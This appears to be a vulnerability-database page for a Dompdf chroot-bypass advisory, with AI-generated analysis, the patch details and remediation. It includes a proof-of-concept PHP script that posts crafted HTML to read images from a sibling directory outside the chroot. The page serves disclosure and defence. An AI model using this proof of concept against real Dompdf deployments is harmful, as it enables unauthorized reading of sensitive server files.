EUVD-2026-50011
GHSA-wvh6-f5jh-8gw4
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Exploited via network HTTP POST with no required privileges or user interaction; impact is confidentiality-only file read outside chroot, no integrity or availability effect.
Primary rating from Vendor (https://github.com/dompdf/dompdf).
CVSS VectorVendor: https://github.com/dompdf/dompdf
Lifecycle Timeline
3DescriptionCVE.org
Summary
The chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.
This allows attacker-controlled document paths/resources to bypass intended local file restrictions.
Details
The validateLocalUri() method is used to check if a local file is within an allowed chroot directory. After normalization with realpath(), this check is performed with a strpos() comparison:
public function validateLocalUri(string $uri)
{
...
$realfile = realpath(str_replace("file://", "", $uri));
...
foreach ($dirs as $chrootPath) {
$chrootPath = realpath($chrootPath);
if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {
$chrootValid = true;Due to the normalization, the $chrootPath string does not have a terminating directory separator (/) appended. Because of this, the strpos() check only validates that $chrootPath is a _prefix_ of $realfile. This allows access to folders with similar names that fall outside of the defined chroot restrictions.
For example, a chroot setting of /var/www/ would be normalized to /var/www, removing the trailing /. During strpos(), a $chrootPath of /var/www will also match a $realfile starting with /var/www2, /var/www-admin, or /var/www_backup, despite these being different directories.
PoC
With a directory structure similar to:
/home/dompdf/
|--> web/
|--> pdf.php
|--> cat0.jpg
|--> web-admin/
|--> cat1.jpgAnd web-accessible Dompdf functionality similar to the following (poc.html):
<?php
require 'vendor/autoload.php';
use Dompdf\Dompdf;
use Dompdf\Options;
$options = new Options();
$options->setChroot(['/home/dompdf/web/']);
$dompdf = new Dompdf($options);
$dompdf->loadHtml($_POST['html']);
$dompdf->render();
$dompdf->stream();
?>A malicious actor can exploit the vulnerability with the following script:
$html = <<<HTML
<!DOCTYPE html>
<html>
<body>
<p>within chroot</p>
<img src="/home/dompdf/web/cat0.jpg">
<p>outside of chroot</p>
<img src="/home/dompdf/web-admin/cat1.jpg">
</body>
</html>
HTML;
$url = 'http://example.com/poc.php';
$data = ['html' => $html];
$headers = ["Content-type: application/x-www-form-urlencoded"];
// use key 'http' even if you send the request to https://...
$options = [
'http' => [
'header' => $headers,
'method' => 'POST',
'content' => http_build_query($data),
'ignore_errors' => true,
],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);When the PDF is generated, both jpg files are loaded successfully despite the cat1.jpg file being outside of the allowed chroot.
Impact
An attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.
AnalysisAI
Dompdf's chroot validation logic in versions before 3.1.6 can be bypassed by an attacker who controls HTML content rendered into a PDF, allowing files outside the configured chroot directories to be read and embedded in the output. The root cause is a flawed strpos() prefix check in validateLocalUri() that fails to enforce directory boundaries after realpath() strips trailing slashes, enabling sibling directories like /var/www-admin to satisfy a chroot configured as /var/www. A publicly available proof-of-concept exploit is included in the GitHub Security Advisory GHSA-wvh6-f5jh-8gw4; no active exploitation is recorded in CISA KEV, and upgrading to v3.1.6 fully resolves the issue.
Technical ContextAI
Dompdf (pkg:composer/dompdf/dompdf) is a PHP library that converts HTML and CSS into PDF documents, widely used in web applications for receipt generation, reporting, and document export. It provides a chroot restriction feature via Options::setChroot() to limit which local filesystem paths may be accessed when loading embedded resources (images, fonts, stylesheets). The vulnerable validateLocalUri() method in src/Options.php first normalizes the supplied file path with PHP's realpath(), which strips trailing directory separators. The subsequent check strpos($realfile, $chrootPath) === 0 tests only that $chrootPath is a string prefix of $realfile at position zero - not that it is a proper directory ancestor. This conflates string-prefix matching with filesystem containment, classified under CWE-20 (Improper Input Validation). A chroot normalized to /var/www will therefore also match /var/www2, /var/www-admin, and /var/www_backup, all of which are completely separate directories outside the intended sandbox.
RemediationAI
Upgrade Dompdf to version 3.1.6 or later via Composer (composer update dompdf/dompdf). The patch at https://github.com/dompdf/dompdf/commit/1b3b61ec4f6962678e56ee8a42920b4f835ab006 fixes validateLocalUri() by appending a directory separator before the prefix comparison - $normalizedChrootPath = rtrim($chrootPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR - and then using strncmp() rather than strpos(), ensuring sibling directories with matching name prefixes are correctly rejected. If immediate patching is not possible, restrict what HTML content is supplied to Dompdf so that resource references (img src, href, etc.) are either stripped of absolute local paths or validated against an allowlist before being passed to the library; this eliminates attacker control over the file paths that trigger the vulnerable check, though this workaround is application-specific and fragile. Additionally, audit the filesystem layout around your configured chroot directories and ensure no sensitive files reside in adjacent sibling directories sharing a name prefix with the chroot path. Upgrading to 3.1.6 remains the only definitive fix.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-20 – Improper Input Validation
View allSame technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today